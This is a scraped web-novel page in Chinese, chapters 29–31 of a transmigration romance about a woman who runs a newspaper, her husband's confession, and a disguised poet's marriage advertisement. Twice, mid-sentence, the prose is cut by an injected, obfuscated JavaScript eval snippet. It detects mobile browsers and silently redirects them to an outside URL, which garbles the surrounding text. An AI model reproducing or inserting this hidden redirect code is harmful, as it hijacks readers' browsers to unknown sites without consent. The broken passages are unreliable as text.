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该说的话都已经说完,众位宾客纷纷应和杨掌柜的提议,互相施礼离席。潘掌柜看看醉醺醺的来宾,适时地说道:“诸位今日都喝了不少酒,不便独自回府。请各位稍等片刻,我叫伙计去备马,送你们回去。” 此时的孟允抒头脑发晕,却没到神智不清的地步,在潘掌柜起身的前一秒,她突然意识到一件事,连忙拦住他的动作。 “潘掌柜不必给我备马。” 她与许昭的声音撞在一起,潘掌柜疑惑地看向异口同声的两人:“为什么?” 孟允抒若是让揽月阁的伙计送她回去,她和许昭的关系就不言自明了。 她的借口信手拈来,脱口而出道:“我在房中闷得久了,想借着回府的这段路散散步,顺带醒一醒酒。” 许昭则说道:“我的府邸离此处不远,不出半个时辰就能到,不劳烦潘掌柜送我了。” 潘掌柜看了看孟允抒,不大放心地说:“孟社长胆识过人,但你终究只是个弱女子,又喝了酒,夜里行走多有不便,还是店中的让伙计送你回去吧。” 孟允抒推拒不得,她看看身边的许昭,又生一计。 她拉来许昭靠近潘掌柜,故作神秘地压低声音:“我有事要与许大人相商,他会与我同行。” 许昭想起孟允抒事先叮咛过他,在席间无论她说什么都要表示支持,于是附和着她点头。 “原来如此。”潘掌柜心下了然,喊来个伙计让他将孟允抒和许昭送至门外,自己则十分有眼力见地退了出去,为其他掌柜安排车马。 待两人将揽月阁的喧嚣远远甩在身后时,孟允抒这才放松下来,和许昭不约而同地长舒了一口气。 他们彼此对视了一眼,都被对方刚才装模做样的神情逗笑。 两人正沿着街道朝许府的方向走,许昭环顾四周,目光落在前方的小摊上:“你先在此处休息片刻,我去找辆马车。” “不必了。”这会丝丝缕缕的凉风吹散了孟允抒的酒气,让她觉得十分惬意,“我们已经走出去了不少路,现在离许府不远,不如直接步行回去。” 她看看许昭,忆及萧睿言给她传递的最新情报,对许昭笑道:“正好我有些话想问公子。” 29. 心意 随着孟允抒和许昭远离云锦天街,路上行人的身影逐渐稀疏,周遭的环境也愈发安静,只剩下两人踏在地上的脚步声,以及他们之间闲谈的絮语。 “傍晚时睿言曾来过报社一趟,说他曾见到几位官员和你争辩,你们吵得不可开交,但他并不知道内情。”孟允抒缓步向前,半是八卦半是关心许昭地问他,“你又在朝中做了什么事,惹得他们那样生气?” 孟允抒之所以用“又”这个字,实在是因为许昭在外面招惹的人太多了。要是哪天她听不到有官员来找许昭吵架,那她才会觉得奇怪。 提起此事,许昭也有些愤愤不平:“因为我在今日上朝时上疏奏议,戳了那些老顽固的痛处,他们觉得是我让他们颜面扫地,就来挑我的错处。” 萧睿言当前的品级不够,他只有在特殊情况下才去上朝,因此并不知道许昭今日在朝会中说了什么。 通过平日和许昭以及萧睿言的交流,孟允抒大致知晓胤朝当前的政局。他们当今的圣上是个仁君,政治能力算不上拔尖,手腕也并不强硬,但好在慧眼识珠,知人善任。为了富国强兵,解决前朝积累下来的种种问题,他广纳贤才,鼓励他们进谏,大刀阔斧地对各种政治制度进行变革。 因此,朝中官员大致可分为三种派别。许昭向来不参与站队,但从政治志愿上来讲,他属于变革派的一员,而他口中的“老顽固”就是那些保守派的成员。 其余的大多数人则是萧睿言口中的中立派。 孟允抒好奇道:“你和陛下提了什么改制的建议,居然能令这些大臣大发雷霆?” “这些建议我已思虑许久,眼下才得来良机。” 许昭讲起了他上疏的原委。 “如今陈修远一案已经尘埃落定,此案的经过与内情并不复杂,可其中牵涉的人员众多,也暴露出现行教育与科举选官制度的诸多弊端。相较于富家子弟,寒门学子要想通过勤学苦读而登科入士,简直难如登天。” 孟允抒赞同地点头。一个人若是家境优渥,他不用为生计奔波,自然可以专心学习。同时,因为出身优越,他能享受到优质的教育资源,在起跑线上就已经赢过寒门学子太多。 “而且,女子的情况比他们还要艰难。” 许昭仰头看向天边的一轮残月,而后将目光落在孟允抒身上。 “在大胤律法当中,虽无明文禁止女子参加科考,但人尽皆知,女子被排除在仕途之外。即便她们通过考试,也往往只能被授予一个象征性的封号,无法获得实职。因此,世人更加认为女子读书无用。” 孟允抒身为女性,对这些现象当然不满,但她没料到许昭能注意到这一点。 她问了许昭一个略显尖锐的问题。 “世人皆认为男尊女卑,说女子就应安分守己、相夫教子,而非在外抛头露面。公子却不这样认为?” 许昭的回答脱口而出,显然他早就思考过这个问题。 “那是自然,女子并非天生就该做这些事。无论是寒士也好,女子也罢,都应有机会发挥各自的才能。这样一来,国家才有可能兴旺发达,百姓方能安居乐业。” 许昭又回到了他上疏奏议的话题上:“因此,我提出了一些改制的建议,希望教育与科考选官更公平些,让人们不因出身、家世、性别所累。” “公平”从来都是一个棘手的难题,而且要实现这一目标,就一定会有许多人的利益受损。许昭所提出的改革力度很大,必然触及多方势力,女子从政更是对传统观念的巨大冲击。 因此,孟允抒不难理解众位官员对许昭的态度。 “公子的想法很好,可此举定然会遭到来自各方的阻挠与驳斥。” “但我必须这样做。” 许昭轻轻叹了口气,声音中不乏惋惜和悲愤。 “我母亲,江芷兰,陈暄,柳玉成,他们原本都是仁人义士,却因机遇不佳,或命途多舛,或误入歧途。大胤的土地广博,人口众多,在他们当中,又有多少人像那些人一样被埋没?这是对贤才的浪费,也是对他们人生的辜负。” 许昭抬眼看向孟允抒:“正如姑娘一般,你才华横溢,有胆有识,过去却一直被困在闺阁之中。如今你的事业蒸蒸日上,我也乐见其成。” 许昭的这番陈词在孟允抒心中掀起巨大的波澜。她终于明白,仅用“品行端正”一词来形容许昭太过单薄。 他没有阻碍自己办报,不单由于他是个好人,不愿限制她的自由,更是因为他真心实意地赞成她的做法。 孟允抒想起萧睿言所说的那句话。归根结底,她和许昭是一样的人,他们有着相同的理想信念。 她抬头注视着许昭。孟允抒面带微笑,语气却是从未有过的珍重。 “公子与我是知己。” “只可惜这名号来得有些晚。”许昭笑笑,有些遗憾地说,“过去两年我不了解姑娘,也并不知晓你有这般雄心壮志。” 他感慨道:“姚府倒台后,你非但不怨恨我,反而为我仗义执言。从那天起我才明白,原来姑娘有主见,是个明辨是非的人。你不计较身份高低,不贪图享乐,又有学识有志气,心性坚韧,胸怀广博,着实令我敬佩。” 他的语气十分真诚,孟允抒本就醉着酒,这下被许昭一夸,她更是觉得有些晕乎。 她不好意思地推拒道:“公子谬赞了,我哪能担得起‘敬佩’二字。” 许昭看了她一眼,将目光从孟允抒身上移开:“姑娘所言极是。” 孟允抒眼见着绯色的云霞一点点攀上许昭的耳廓,忽然嗅出一丝不对劲的气息。 “我对姑娘的感情与其说是‘敬佩’,倒不如‘仰慕’二字来得更为妥当。” 许昭突如其来的直球打得孟允抒猝不及防,她想像往常一样开个玩笑缓解尴尬,可挖空了心思也没能憋出一句话。 孟允抒发觉自己的脸上发烫,心脏也剧烈跳动起来,连带着她的脚步都有些虚浮,几乎难以支撑身体。 她心慌意乱地想,肯定是她的酒劲开始发作了。 她要是再继续调侃许昭,还指不定他会发表什么惊世骇俗的言论,于是孟允抒故作镇定地说道:“公、公子何出此言?” 孟允抒结结巴巴地说完一句话,全然没有平时的巧舌如簧。这下她更加笃定,她此刻的反应是酒精作祟。 尽管许昭看起来也十分局促,可他依然执拗地看向孟允抒,一字一句地坦白自己的心迹,语气庄重而真挚。 “在庙会上姑娘曾与我对谈,你告诉我何为‘从心所欲’。近日我发现,每次我见到你便心生欢喜,不见你时又甚是思念。因此我想,我应是心悦于你。” 孟允抒慌得六神无主,她匆忙地应了声“嗯”,抬眼看向前方随风舞动的柳梢。 她同许昭聊起报社的近况,生硬地转移话题。 “多亏公子一直以来鼎力相助,现今报社的发展如日中天。照这样下去,赶今年年末,我们投入的本钱就可尽数收回。” “那到时就劳烦你将这些钱归到府中的账目上。”许昭接过她的话说,“过去府中的账本都放在我那里,我近日正想和姑娘商量,将管账的事交给你。” 他又补充道:“姑娘放心,府中的账务并不繁杂,不会耽误你多少时间。” 以前孟允抒和许昭都是各过各的,两人名义上是夫妻,但私底下都不会过问彼此钱财的去处。 在各府当中,账务由女主人管理是一件约定俗成的事。就算孟允抒再想自我欺骗,也无法忽略许昭这句话中所含的情意。 她再次确认自己没听错:“公子让我管账?” “你与我本就是一家人,由你管账理所应当。”许昭垂眸说道,“我只想让你放心。” 完了,她非但没能把话题引向更远的地方,反倒让他把这话说得愈加明了。 此刻孟允抒心乱如麻,不知该如何应对许昭对她的感情。 经过这段时间的相处,她和许昭一同经历了不少事,也逐步摸清了他的品行与性情。如许昭所说,孟允抒每次见到他时也一样心情愉悦。 扪心自问,她似乎的确在不觉间对许昭生出情愫,但她总觉得两人的关系还没到他所说的地步。 今日许昭的表白来得突然,如果她就这样稀里糊涂地接纳许昭的感情,这对他,对她自己来说都太过草率。 她还需要一段时间消化他们之间的感情,确定自己对许昭的心意。 孟允抒心中有了主意,她看向许昭正色道:“公子对我的情意发自肺腑,我深受触动,也感激不尽。” 她低下头,咬了咬唇说道:“只是如今报社发展正处在关键时期,我暂时抽不出 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俗话说“人怕出名猪怕壮”,再加上孟允抒干的这行本来就容易得罪人,接下来的一段时间内,黎民报社肯定是站在风口浪尖上。 “你一定要保全自己。” 孟允抒看向许昭,他的面色中满是担忧。她想起许昭的心结,觉得他的反应可谓自相矛盾。 “我早就想问公子,你害怕失去身边亲友,为何却放任我查找真相?” 许昭沉默片刻,像是回避这种可能性一般,过了一会才开口。 “因为这是你的志向,我不该对你横加阻拦。我若是因为,未免太过自私。” 许昭语气诚恳,墨玉似的眼瞳被月光笼上一层清辉,在夜色中显得闪闪发亮。 “而且在做这些事时,我能察觉到你的欣喜。只要你高兴,我就愿意支持你。” 孟允抒没料到他会这样回答,一时间有些发愣。 与此同时,一阵柔软的暖意漫上心头。 这个理由十分简单,但也足够真挚。上次她听到类似的话语还是在她父母口中。 过去她为了自保以及达成目的,曾多次扯谎欺骗许昭。而这份假意却换来一颗沉甸甸的真心。 孟允抒的视线竟然有些模糊。 她强行压制住心头纷繁复杂的情绪,尽力保持语气的平静。 “多谢公子。” 许昭发觉孟允抒的声音似乎不对劲,见她低着头,就凑近了些问道:“你说什么?” 他望见了孟允抒脸上的泪痕。 许昭没料到孟允抒会做出这样的反应,手足无措地问她:“你为何突然落泪?可是我说错了话?若是如此,我向你赔罪……” 孟允抒正是百感交集之时,却被他的举动逗得破涕为笑。 许昭这人堪称钢铁直男。 她摇摇头说道:“你没有错,只是我近日略感疲惫,哭出来心中会轻松些。” 许昭一听,脸上的慌张转为担忧,向孟允抒提议道:“那待到端午时,我陪姑娘去青阳湖走走,那里每年都会赛龙舟,游客众多。你爱热闹,此处适合你去散心。” 孟允抒欣然应允,抬头看向许昭:“只是除此之外,我还想向公子要一样东西。” “姑娘尽管开口。” 孟允抒却没有继续说话,只是张开双臂将许昭抱了个满怀。 许昭被她的举动打得措手不及,但他很快理解了孟允抒这般举动的含义,于是也抬起双手,轻柔地回应着她的动作。 这是一个相当克制的拥抱,没有掺杂恋人之间的爱,有的只是对知己情谊的欢欣和感激。 不过,孟允抒很快就发现了一丝违和感。 她的目光向下看了一眼,她感觉两人再这么抱下去,这个举动的性质就变了。 所幸许昭也意识到了这一点,他赶在孟允抒之前收回了手,尴尬地偏过头。 为了不让两人之间的空气凝滞,孟允抒轻咳一声,若无其事地转移话题道:“明日我还要去报社,公子也得上朝,我们快些回府吧。” 她不用看许昭就知道,现在他们俩的脸色比人家房前挂的灯笼还要红上几分。 30. 征婚广告 排云请来人在会客室中坐下,又一路小跑着去办公室找孟允抒。 行至办公室阶下时,她见门口那些听墙角的职员依然没挪位置,有几人还饶有兴致地扒着门窗的缝隙往里看,探查里面的最新动向,时不时地窃窃私语一番。 昨晚有名探官在截止时间之前没能交稿,这导致后续的编修等工作都受到影响,连锁反应一直持续到今天上午。即使印工再怎么快马加鞭,也无法在平日的规定时间之前赶制出需要的小报数量,这惹得孟允抒大为不快。 萧谨言作为报社主编,对此难辞其咎。很快他就被孟允抒叫进了办公室,至今已经有一刻钟的时间。 报社员工见状都赶赴八卦一线。毕竟每次萧谨言挨批之后,都是红着眼圈出来的。 萧主编的眼泪是枯燥工作的上等调剂。 “哎,你们几个。”她清了清嗓子,拿出秋盈的名号压人,“秋掌柜都说了,让你们该干什么干什么去,别在这看戏。” 她驱散了看热闹的吃瓜群众,自己则蹑手蹑脚地走上台阶,看向一门之隔的办公室内。 面对探官与编辑的工作失误,孟允抒憋着一肚子的火气,但为了照顾萧谨言脆弱的心灵,她还是收敛了许多。 她紧蹙眉头,滔滔不绝地批评萧谨言:“我说你也真是的,你是催稿的一方,又是报社的主编,那就拿出气势来,别再那么唯唯诺诺,好像求人办事一样。就冲你那一步三鞠躬的架势,有哪个人会怕你?” 萧谨言的眼泪已经在眼眶里打转了,他极力控制着自己,不要让眼泪掉下来。 可他一开口就带上了鼻音。 “社长说得对,我确实没有能力,不能胜任主编。我——” 孟允抒本就心烦,听他说这句话更是崩溃:“我求求你不要再这么说了,你这话听得我耳朵都起茧了。我说了多少次人无完人,你已经做得相当不错,只要愿意听从我的建议不断改进,以后一定会越做越好。” 门外的排云见孟允抒快被萧谨言折磨得发狂了,于是适时地叩了叩门喊道:“孟社长,您现在有空吗?刚才来了两位客官,说是想要在我们的小报上刊登广告,我已让她们在会客室中等着了。” “好,我马上就来。”孟允抒应声答道,她揉揉发胀的太阳穴,庆幸她还有排云这样机灵能干的帮手。 要是再来几个萧谨言这种水平高却不善管理和交际的员工,她迟早有一天要被累死。 “刚才这事就算过去了,我也不是看你不顺眼,你别往心里去。”孟允抒取来块手帕递给萧谨言,缓和语气说道,“你擦擦眼泪,随我去见客。” 自从报社开发了接收广告的新业务,就时常有人到访报社,请他们在小报上刊登各种各样的公告。 综合考虑后,此事被交给孟允抒和萧谨言共同定夺。所有见报的广告都需要他们两人一起拍板后才能刊载。 孟允抒带着萧谨言跨过会客室的门槛,向里面的两名女子行了礼,笑容满面地看向来者:“方才我有其他事务处理,怠慢了两位姑娘,还请二位见谅。我是黎民报社的孟社长。” 两名姑娘起身回礼,孟允抒又向她们介绍萧谨言的身份:“这位是萧主编。” 萧谨言不可置信地看着孟允抒,他还没从方才的情绪中抽离,而孟允抒的脸上却已经寻不到半分怒气。 孟允抒瞪了他一眼,萧谨言赶紧附和着她说客套话,她则趁此机会迅速打量了一下两位来客。 这两人都是妙龄女子,个头稍高的那位衣着光鲜,服饰上的颜色冲突极为明显,但因其造型简单大方,搭配起来非但不显媚俗,反而体现出主人独特的品味。她的眉宇间有几分英气,举止洒脱,无论言谈还是坐行,动作都大开大合,看上去便是个爽利姑娘。 在她身后半步的那位女子就拘谨得多,在前面那名女子说话时,她始终不发一言。这女子面容清丽,行动娴静,但衣着的布料比那位姑娘要次些。 从这些信息中不难推断,这两人应是主仆关系。 孟允抒向两人发问道:“不知二位姑娘该如何称呼?” “我姓郑,叫我郑姑娘即可。”那名英气女子笑笑,又看了眼身边的那姑娘,“她叫初晴,是我的贴身丫鬟。” 被叫到名字的姑娘羞涩一笑,而后又嗔怪似地看了郑姑娘一眼。 孟允抒脑海中迅速闪过秋盈的身影。看上去这主仆两人之间的感情也相当深厚。 “好,两位请坐。”孟允抒绕着桌子走了半圈,在她们对面坐下,“我听店中伙计说,两位姑娘想在黎民日报上刊登广告。不知姑娘具体想要发表什么内容?” “我想为初晴寻觅一位如意郎君。” 郑姑娘的一句话惊得萧谨言瞪大了眼睛,而她身边的初晴则将头埋得更深。绯色迅速攀上了她的脸颊。 萧谨言确认自己没理解错她的话:“郑姑娘的意思是,你要在小报上刊登广告,为这位初晴姑娘觅得良缘?” 郑姑娘笃定地回答:“没错。” 萧谨言仿佛听到了什么大逆不道的话,他倒吸一口冷气说道:“容我冒昧问姑娘一句,你是否已经与他人成婚?” 郑姑娘十分坦荡地说:“我尚未出阁。” “那这不成。”萧谨言果断拒绝道,“为了姑娘的名声着想,我们不能刊登这则消息。姑娘还是请回吧。” “口舌长在旁人身上,我却要因他们的闲言碎语而约束己身,真是岂有此理。”郑姑娘对萧谨言的话嗤之以鼻,她看了眼他身旁的孟允抒,“再说了,孟社长还没发话呢。” 在报纸上刊登征婚广告是一件很正常的事,但郑姑娘作为广告的发布者,她的身份实在微妙。 在胤朝,她作为一名未婚的小姐,这样大张旗鼓地为他人做媒,若是传了出去,她的名声就算毁了,恐怕这辈子都摆脱不了被造谣和羞辱的命运。 孟允抒当然不觉得郑姑娘的行为有什么问题,她自己对此也并不介怀,但其他人并非都像她们这么想。众口铄金,此事需要慎重考虑。 见孟允抒迟迟不开口,初晴抬起头,挽住郑姑娘的胳膊小声说道:“小姐,我们还是走吧。” “不行,我们都坐到这里了,哪能就这么打道回府?”她的口气中带上了些许责备,“你不许再说这样的话。” 这半晌都是郑姑娘在和他们进行交涉,孟允抒不清楚初晴的内心想法,于是她劝郑姑娘先离开一会:“郑姑娘,可以麻烦你先在门外等候片刻吗?” 她看看初晴说道:“毕竟此事的当事人是初晴姑娘,我有些话想问问她。” “当然可以。”郑姑娘毫不犹豫地说,“社长请便,待会你问完话后叫我进来即可。” 孟允抒望了望郑姑娘潇洒离去的背影,待伙计关上大门,接引她走远后,这才看向初晴。 “初晴姑娘,正如我所说,此事关乎你的婚姻,所以我想请你对我如实相告。”孟允抒问道,“在小报上刊登广告寻觅良配,你是否同意此事?” 初晴踌躇了一会,迅速瞥了两人一眼,又赶紧把头垂下。 “我以黎民报社的信誉担保,今日你对我们所说的话不会有旁人知晓,你不必对我们隐瞒。”孟允抒安慰她放心,“若是没有你的授权,我们不能贸然刊登这则广告。” 沉默片刻后,初晴终于断断续续地给出了一个回答。 “我同意此事,但我仍有顾虑。” 她讲起了事情的来龙去脉。 “如今我年方十九,早就已经到了出嫁的年纪。其实在三年前老爷和夫人就说要将我嫁人,但那时我并没有成婚的想法,于是小姐替我在其中调解,让我的婚事一推再推。后来我的年岁长了些,老爷和夫人说今年必须要为我定下一门亲事。” 孟允抒了然地点头。在胤朝,家仆的婚事基本都是由主人牵线搭桥,最终定夺。如果一户人家的丫鬟或小厮一直拖着不成婚,主家就会被外面的人指责他们苛待下人。 “当下我对成婚并没有那么排斥,若能寻得合我心意的郎君,那我自然也是愿意的。” 初晴觉得这是件难以启齿的事,所以她的声音越来越低。 “老爷和夫人说,外面的人都不知根知底,所以想让我嫁给管家的儿子。但是……”初晴没有说下去,只是叹了口气,“他们说,都是因为我成天跟着小姐读书,还在外面乱跑胡闹,这才养出了这么高的心气。” 在许多主家眼里,丫鬟配小厮天经地义。孟允抒看得出,初晴很抗拒这样的安排。 “小姐知道此事后怒不可遏,她和老爷还有夫人大吵了一架。她说我与她亲如姐妹,所以一定要为我寻个好人家。”初晴看看对面的两人,“后来,小姐看日报时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525126|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得知,黎民报社能够帮人在报上刊载广告,她就有了这般主意。” 孟允抒明白,郑姑娘和初晴都是未出阁的女子,她们的人脉和社交圈都太过狭窄,想要从中挑选佳偶并非易事,不如通过小报广撒网,或许还能找到更多机会。 “说句实话,我觉得小姐的想法不错,可此事于她的名誉有损,所以我一直劝她打消这个念头。”初晴绞着手帕说,“但我知道小姐的脾气,她是个有主见的。小姐认定了的东西,旁人再怎么阻拦都无济于事。” 从方才的见闻和初晴的描述中,孟允抒将这主仆两人的性格都摸了个七七八八。 初晴不排斥在小报上刊登征婚广告,但她担心郑姑娘的声誉会因此受损;郑姑娘则对流言蜚语嗤之以鼻,并不在意旁人的眼光。 既是如此,孟允抒当然也想帮初晴促成一桩合她心意的姻缘,却不知郑姑娘是否做好了充足的准备,能否应对随之而来的舆论冲击。 她先将这些问题放到一边,转而问初晴:“那你和郑姑娘可有想好,你们如何通过这则广告寻觅良配?” 初晴目光躲闪地点点头,孟允抒见她整张脸都已经红透,毫不怀疑她再继续问下去,初晴会直接缩到桌子底下。 于是孟允抒叫伙计重新把郑姑娘请了进来,向她提出了同样的问题。 “孟社长请看。”郑姑娘胸有成竹地笑笑,她从荷包中取出张纸,将其展开递给孟允抒,“我和初晴已经事先拟好广告内容,现在只等孟社长点头。” 孟允抒接过那页纸,将其放在她和萧谨言中间,好让他也能看得清上面的字迹。 这则征婚广告的前半部分和孟允抒见过的那些大同小异,无非就是些对于女方基本情况的概括,以及对男方提出的要求。 而后半段的内容引起了孟允抒的重点关注。 “各位符合条件的公子若有意向联系,请仔细阅读以下问题并作答,将信件寄给郑姑娘。” 在收信地址下方,纸张上赫然写着九个问题,俨然一份形式规整的考卷。这些问题中,有关于对婚姻的看法,有对于家庭关系和相处模式的思考,还有面对冲突的态度和解决办法。 对此郑姑娘解释道:“如我所说,初晴是我唯一的贴身侍女,她的婚事我必须慎之又慎。我们经过讨论后,确定下了这些问题。若我们能够收到来信,从他们的回答中就足以窥见其人的品行与想法,由此便可初步筛选出与初晴相配的男子。” 即使在现代社会中,很多人都只是搭伙过日子,在胤朝就更是如此。许多夫妻在婚前甚至都没见过彼此,跟别说观念一致。 因此,不幸的婚姻比比皆是。 孟允抒感慨道:“两位姑娘真是思虑周全。” 她都有些怀疑这两人也是穿越者了。 孟允抒将目光重新放到纸上,在那些问题后还有几段话。她从标题和格律中能看出这是一首词,但只填了上阕,从中可见作者豪迈飘逸的气势,以及超凡脱俗的词作水平。 “好文采。尤其是第三、第四句的意象对比,简直妙极。” 孟允抒对此赞不绝口,她看向郑姑娘问:“姑娘这是何意?” “这些年初晴跟着我读了不少书,她的夫君可不能胸无点墨。”郑姑娘受到夸奖,毫不掩饰她的得意与骄傲,“这就是最后一题。这首词的上阕是由我本人所作,下阕就留给读者填写。” 胤朝的文人尤其讲究风雅,若是对得好,当然能加不少分。但有这上阕珠玉在前,要想对上一个合适的下阕使之浑然一体,这绝非易事。 孟允抒见萧谨言端详着那半阙词,沉吟许久都未曾开口,像是在反复品读。 “谨言,有什么问题吗?” 萧谨言被孟允抒点了名,这才回过神来:“没有。” 他看向郑姑娘,神情庄重又小心翼翼地问了一句话。 “姑娘,这词是你亲笔所作?” “那是当然。方才我不是说过了吗?” 郑姑娘的语气颇为自得,半是嘲讽半是调侃地说:“难道是萧主编被这首词所展现出的文采震撼,不相信它出自我手?” “不,我只是想向姑娘确认一下。” 萧谨言的语调变得恭敬起来,他望着郑姑娘缓缓说了一句话,声音竟然有些颤抖。 “姑娘,其实你不姓郑吧。” 31. 粉丝见面会 屋内三人都对萧谨言的这句话始料未及,孟允抒连忙问萧谨言:“此话怎讲?” 郑姑娘脸上的笑容僵了一瞬,但很快又坦然地往椅背上一靠,神色如常地问道:“萧主编这话说得蹊跷,我若是不姓郑,还能姓什么?” 萧谨言被她盯得心虚,只能挪开了视线,低头看着面前的那半阙词。 “我不会认错的。” 他像是给自己打气般地嘟哝一句,重新抬起头直视郑姑娘,语气笃定而急切。 “你就是那位知名的闺阁才女,盛催雪。” 这个响亮的名字如一声惊雷在孟允抒耳畔炸响,她震惊地看向“郑姑娘”,正巧捕捉到她脸上闪过的一丝慌乱。 她虚张声势地问萧谨言:“何以见得?” “我熟读盛姑娘的所有作品,对她的文风了如指掌。”萧谨言指着那半阙词,万分激动地说道,“整座京城里,谁都写不出这般洒脱灵动的词句,其中所用意象也是盛姑娘最爱用的那几种。” 孟允抒早就知道萧谨言是盛催雪的资深粉丝,未曾遗漏过她的任何一首作品。他本人在诗词上的造诣也极高,辨认盛催雪的词作根本不在话下。 “郑姑娘”像是掩饰什么一般,尴尬地笑了笑:“实不相瞒,我也十分喜爱盛姑娘的词作,因此有意模仿她的风格。今日看来,我的技艺竟然练得炉火纯青,甚至到了以假乱真的地步。” “不可能,绝对不可能!无论何人模仿盛姑娘作词,至多能摹画出其表形,却写不出她的神气。” 萧谨言越说越激动,整个人都从椅子上站了起来:“盛姑娘,我日夜品读你的作品,是真是假我一眼便知。” 就冲萧谨言对盛催雪作品的钻研深度,孟允抒觉得,如果成立一个盛催雪作品研究学会,那萧谨言绝对是当之无愧的会长。 如果眼前的这位“郑姑娘”真是盛催雪,那萧谨言也算是夙愿得偿。因此孟允抒决定帮他一把。 “郑姑娘。”孟允抒打断她的辩解,“你若是想在小报上刊登广告,就需要提供相关的身份证明。为了保证信息的可靠性,报社会派人对其进行验证。” 孟允抒的言下之意就是,即使“郑姑娘”这会不说实话,之后他们也能查出真相。她的隐瞒毫无意义。 “好吧。” “郑姑娘”放弃挣扎,认栽地说了一句:“我的确是盛催雪。” “以我过往经验来看,我一旦被旁人认出就免不了许多麻烦,因此用了假名。但我没想到萧主编能一眼识破我的身份。”盛催雪忍不住问萧谨言,“你对我的文风竟然能了解到这般程度?” “盛姑娘的文风别具一格,我当然过目难忘。” 此刻偶像就坐在自己面前,萧谨言激动的心情溢于言表,他竭力表达着自己对盛催雪的赞美和崇敬,语无伦次地说道:“我、我拜读了你所有的作品。其中我最喜欢那首……” 眼见着萧谨言就要将他们的话题带到万里以外,孟允抒赶紧制止他继续说下去:“你别这么激动,我们先谈正事,待会单独给你留时间说这些。” “对,对,正事要紧。”孟允抒的一句话提醒了萧谨言,他反应过来自己的失态,万分窘迫地道了歉,重新坐回椅子上。 孟允抒发现,盛催雪的身份被揭穿后,她并没有显现出太多慌乱,反倒是方才萧谨言对她表现出的狂热崇拜让她十分受用。 “盛姑娘,我们已经看完了这份文稿,现在再来谈谈将其登报的相关事宜。” 孟允抒的话刚落音,萧谨言就在旁边说道:“我觉得这没什么可谈的,既然盛姑娘能做出这般决断,那肯定对后果早有准备。” 孟允抒看着他信誓旦旦的模样,仿佛刚才那个极力反对的人不是他一样。 盛催雪喜上眉梢:“既然萧主编这么说了,那现在只需要孟社长给个准话。” 孟允抒白了萧谨言一眼。他向盛催雪倒戈之后,现在压力全都施加给了自己。 她现在真的想把萧谨言从主编的位置上踹下去了。 “通过广告的方式替初晴姑娘觅得良缘,这当然是好事一桩,在座的各位对此都没有异议。而且,京城里人人都称道姑娘的才华横溢,这篇文稿也并无不妥之处。” 孟允抒归纳着众人的意见和眼下的情况,指出目前存在的唯一问题。 “但姑娘声名显赫,既然萧主编能认得出这篇词作出自你手,也一定有其他人能作出此番论断。如今你尚未出阁却为他人做媒,此事一出后,定然会让整座京城的人都议论纷纷。” 盛催雪是知名度极高的公众人物,关于她的舆论发酵的速度只会比普通人更快。 同样地,她受到的攻击也会是常人的数倍。 “我正对此求之不得呢。”盛催雪露出一个明朗的笑容,“既然是为了寻人,那这消息当然是传得越广越好,如此一来我们的挑选机会就能大大增加。” “但是小姐,那你怎么办?” 初晴说出了孟允抒的心声。 “放心,我可是出了名的牙尖嘴利,城中没有一个人是我的对手。” 看上去盛催雪是在回答初晴的问题,但她的目光始终落在孟允抒身上。 孟允抒承认,她这句话的确毋庸置疑。盛催雪久负盛名,尽管孟允抒在过去不常外出,却经常能从旁人的口中得知她的奇闻轶事。 在家宴上,盛催雪千杯不倒,饮至兴头上就会引吭高歌,全然不顾宾客惊异的目光;旁人泛舟湖上,为了观赏美景都会放慢速度,她却像是和别人比赛似的,在一片荷花丛中横冲直撞;她兴趣爱好广泛,无论哪个领域她都来插一脚,写上几篇文章,因其独到的见解,最后这些文章也成了著作,广为流传。 因为盛催雪的个性太过鲜明,她的名气也越来越大。接着,城中渐渐出现了贬低她的声音,几个著名文人喊得尤其大声,从她的品行到文采都被他们踩了个遍。 惹到盛催雪算是他们踢到铁板了。 受到批判后,盛催雪一鼓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15538185|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作气地写了一本书,将这些骂过她的人一股脑地塞进去,分章节对他们进行了犀利的点评,说这位苏先生作词不合音律,那位刘公子行文俗不可耐,王大人的作品更是令人笑掉大牙,根本无法让人读下去。 这本书问世后不多时,城中对她的讨伐声就销声匿迹了。 孟允抒明白盛催雪一身傲骨,个性洒脱,但这篇广告一经刊载,引起的轰动和她过去经历的那些根本不在同一量级。孟允抒是新闻行业的工作者,自然比任何一个人都深知人言可畏。 她看向盛催雪,神情严肃地说:“盛姑娘,此事没有你想得那么简单。” “孟社长,你不必为我担忧。”盛催雪第一次收敛笑意正色道,“‘胆大妄为’的人可不止我一个,也不止你一个。” 她冷不丁地来了句这样的话,令孟允抒疑惑地看向她:“姑娘何出此言?” “此前我不曾见过你,却在小报上读过许多由你撰写的报道。那些文章称得上鞭辟入里,读来振聋发聩。孟社长若只是想找个生财之道,何必冒着风险去做这些容易殃及自身的事?” 一幕幕往事飞速从孟允抒的脑海中闪过,最终她在记忆深处找到了一切的开端。起初她就是为了能唤醒公众的理性,将众人的目光凝聚起来,令那些丑恶与不公的事无所遁形,这才选择了从事新闻业。 尽管她因这种职业丢过一次性命,可来到胤朝后,她再次毅然选择了同样的道路。 